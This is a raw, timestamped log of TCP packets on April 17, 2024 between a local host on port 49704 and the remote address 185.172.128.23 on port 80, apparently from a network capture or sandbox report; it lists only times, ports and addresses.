Apr 17, 2024 09:17:11.161348104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161410093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161417961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161514044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161590099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161609888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161609888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161628008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161634922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161665916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161669016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161703110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161708117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161736965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161746025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161778927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161911964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161948919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161956072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.161984921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.161989927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162022114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162024975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162062883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162213087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162250042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162266016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162288904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162295103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162324905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162332058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162367105 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162517071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162555933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162575960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162594080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162600040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162626982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162642002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162676096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162808895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162861109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.162870884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.162918091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.193682909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.193747044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.193780899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.193845034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.193883896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.193938971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.193938971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.193947077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.193983078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.193983078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194005966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194050074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194052935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194092989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194097042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194139957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194191933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194235086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194240093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194282055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194331884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194370985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194376945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194407940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194423914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194447041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194451094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194483995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194489002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194520950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194525957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194561005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194566011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194598913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194602966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194636106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194639921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194674015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194677114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194710970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194719076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194749117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194753885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194787025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194791079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194823980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194828033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194863081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.194864035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.194905043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.251578093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.251661062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.251673937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.251776934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.251806974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.251846075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.251852989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.251888990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.251904964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.251945972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.251950979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.251983881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.251987934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.252024889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.252027988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.252068996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.252070904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.252144098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253608942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.253659010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253669977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.253714085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253725052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.253763914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.253767967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253801107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.253808022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253844976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253858089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.253895044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.253901005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253937006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.253968954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254014969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254079103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254125118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254141092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254194975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254247904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254287004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254292965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254323959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254329920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254364014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254367113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254400969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254406929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254437923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254443884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254476070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254479885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254513025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254518032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254550934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254556894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254590034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254594088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254626036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254632950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254662991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254667997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254698992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254704952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254735947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254744053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254771948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254777908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254810095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254815102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254847050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254852057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254884005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254890919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254920959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254925966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254957914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.254962921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.254995108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255002022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255033970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255038023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255070925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255076885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255109072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255115032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255145073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255151987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255182981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255187988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255218983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255223036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255255938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255261898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255291939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255295992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255330086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255337000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255371094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255374908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255408049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255414009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255445957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255450964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255484104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.255486965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.255527020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.308712006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.308768034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.308809996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.308907986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.308907986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.308907986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309075117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309133053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309211016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309256077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309268951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309313059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309330940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309375048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309390068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309437990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309462070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309501886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309509993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309540033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309545040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309591055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309598923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309637070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309643030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309674025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309680939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309715986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309732914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309777021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309788942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309825897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309832096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309866905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309891939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309936047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.309957027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.309993982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310002089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310031891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310040951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310070038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310075998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310106993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310113907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310147047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310151100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310190916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310751915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310791969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310806990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310836077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310899019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310936928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.310944080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.310982943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311062098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311101913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311109066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311144114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311312914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311357975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311366081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311410904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311557055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311594963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311602116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311633110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311644077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311671019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311677933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311708927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311714888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311750889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311764002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311808109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311820030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311856985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311863899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311893940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311899900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311937094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.311954975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311991930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.311996937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312036037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312038898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312077045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312160015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312197924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312206984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312242031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312252998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312289953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312298059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312334061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312342882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312380075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312386990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312422037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312501907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312550068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312582970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312625885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312638044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312674999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312681913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312712908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312719107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312750101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312753916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312793016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312875032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312923908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.312931061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312989950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.312990904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313030958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.313039064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313080072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313688993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.313726902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.313739061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313770056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313838005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.313877106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.313889980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313908100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313947916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.313980103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314026117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314033985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314071894 CEST	80	49704	185.172.128.23	192.168.2.5
